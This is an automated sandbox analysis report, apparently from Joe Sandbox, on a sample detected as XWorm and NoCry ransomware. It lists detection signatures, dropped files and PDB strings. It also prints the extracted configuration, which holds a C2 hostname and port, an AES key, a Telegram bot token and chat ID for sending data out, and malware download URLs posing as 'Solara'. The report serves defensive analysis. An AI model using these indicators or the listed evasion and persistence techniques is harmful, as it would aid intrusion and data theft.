Windows Analysis Report
8svMXMXNRn.exe

Overview

General Information

Sample name: 8svMXMXNRn.exe
renamed because original name is a hash value
Original sample name: 4960838a390adf1ea412850ca14f15ce7c201fa967c0089df97742ee517ed0fe.exe
Analysis ID: 1532623
MD5: e91f3ec430934cf29cda88d9b730d893
SHA1: 6453d1f200f568b7964861c683a4f519431a9468
SHA256: 4960838a390adf1ea412850ca14f15ce7c201fa967c0089df97742ee517ed0fe
Tags: exeuser-Chainskilabs
Infos:

Detection

NoCry, XWorm
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected NoCry Ransomware
Yara detected Powershell download and execute
Yara detected Telegram RAT
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to capture screen (.Net source)
Drops PE files with benign system names
Infects the VBR (Volume Boot Record) of the hard disk
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Protects its processes via BreakOnTermination flag
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: System File Execution Location Anomaly
Sigma detected: WScript or CScript Dropper
Uses ipconfig to lookup or modify the Windows network settings
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes directly to the primary disk partition (DR0)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Avira: detection malicious, Label: TR/Agent_AGen.ftans
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Avira: detection malicious, Label: HEUR/AGEN.1305458
Source: C:\Users\user\AppData\Roaming\explorer.exe Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Avira: detection malicious, Label: TR/Spy.Gen
Found malware configuration
Source: 0000001C.00000002.2815058527.00000000026A1000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Xworm {"C2 url": ["127.0.0.1", "cash-hispanic.gl.at.ply.gg"], "Port": "1764", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "Utorrent.exe", "Version": "XWorm V5.2", "Telegram URL": "https://api.telegram.org/bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031"}
Multi AV Scanner detection for domain / URL
Source: cash-hispanic.gl.at.ply.gg Virustotal: Detection: 5% Perma Link
Source: getsolara.dev Virustotal: Detection: 13% Perma Link
Source: 79c62fd6.solaraweb-alj.pages.dev Virustotal: Detection: 7% Perma Link
Source: https://79c62fd6.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe Virustotal: Detection: 7% Perma Link
Source: https://79c62fd6.solaraweb-alj.pages.dev Virustotal: Detection: 8% Perma Link
Source: http://79c62fd6.solaraweb-alj.pages.dev Virustotal: Detection: 7% Perma Link
Source: https://getsolara.dev/api/endpoint.jsonChttps://pastebin.com/raw/ZESVzSgK Virustotal: Detection: 10% Perma Link
Source: https://getsolara.dev/asset/discord.json Virustotal: Detection: 9% Perma Link
Source: http://getsolara.dev Virustotal: Detection: 13% Perma Link
Source: cash-hispanic.gl.at.ply.gg Virustotal: Detection: 5% Perma Link
Source: https://getsolara.dev Virustotal: Detection: 13% Perma Link
Source: https://getsolara.dev/api/endpoint.json Virustotal: Detection: 11% Perma Link
Source: https://79c62fd6.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip Virustotal: Detection: 7% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Roaming\explorer.exe ReversingLabs: Detection: 87%
Multi AV Scanner detection for submitted file
Source: 8svMXMXNRn.exe ReversingLabs: Detection: 65%
Source: 8svMXMXNRn.exe Virustotal: Detection: 76% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.7% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV1.22.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TrojanXD.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\explorer.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 8svMXMXNRn.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: 127.0.0.1,cash-hispanic.gl.at.ply.gg
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: 1764
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: <123456789>
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: <Xwormmm>
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: XWorm V5.2
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: Utorrent.exe
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: %AppData%
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: explorer.exe
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: 8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398
Source: 2.0.BootstrapperV21.exe.750000.0.unpack String decryptor: 5405936031
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.66.44.59:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.93.27:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 128.116.44.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.20.23.46:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: 8svMXMXNRn.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: fC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 0C:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\poros\Downloads\destructive_trojan\destructive_trojan\destructive_trojan\obj\Debug\TrojanXD.pdb source: voosiq.exe, 00000021.00000002.3973742662.00007FF789E06000.00000004.00000001.01000000.00000015.sdmp, TrojanXD.exe, 00000022.00000000.3938755617.000002BF9CD82000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4863543107.000000001C333000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: yC:\Users\user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: wC:\Users\user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: hC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: oC:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb8 source: BootstrapperV21.exe, 00000002.00000002.4851659921.000000001B690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ~C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: lC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: iC:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdb source: BootstrapperV1.22.exe, 00000008.00000002.2553192418.000001ACA6C49000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdbmui source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4851659921.000000001B690000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: 8svMXMXNRn.exe, 00000000.00000002.2038973798.00007FF6373D8000.00000002.00000001.01000000.00000003.sdmp, 8svMXMXNRn.exe, 00000000.00000003.2031085342.000001E9E40EE000.00000004.00000020.00020000.00000000.sdmp, 8svMXMXNRn.exe, 00000000.00000003.2029686110.000001E9E5746000.00000004.00000020.00020000.00000000.sdmp, 8svMXMXNRn.exe, 00000000.00000000.2028449384.00007FF6373D8000.00000002.00000001.01000000.00000003.sdmp
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: voosiq.exe, 00000021.00000002.3973688259.00007FF789DEB000.00000002.00000001.01000000.00000015.sdmp, voosiq.exe, 00000021.00000000.3933474079.00007FF789DEB000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: gC:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: indoC:\Windows\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: nC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: }C:\Users\user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E8A2000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mC:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000048C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
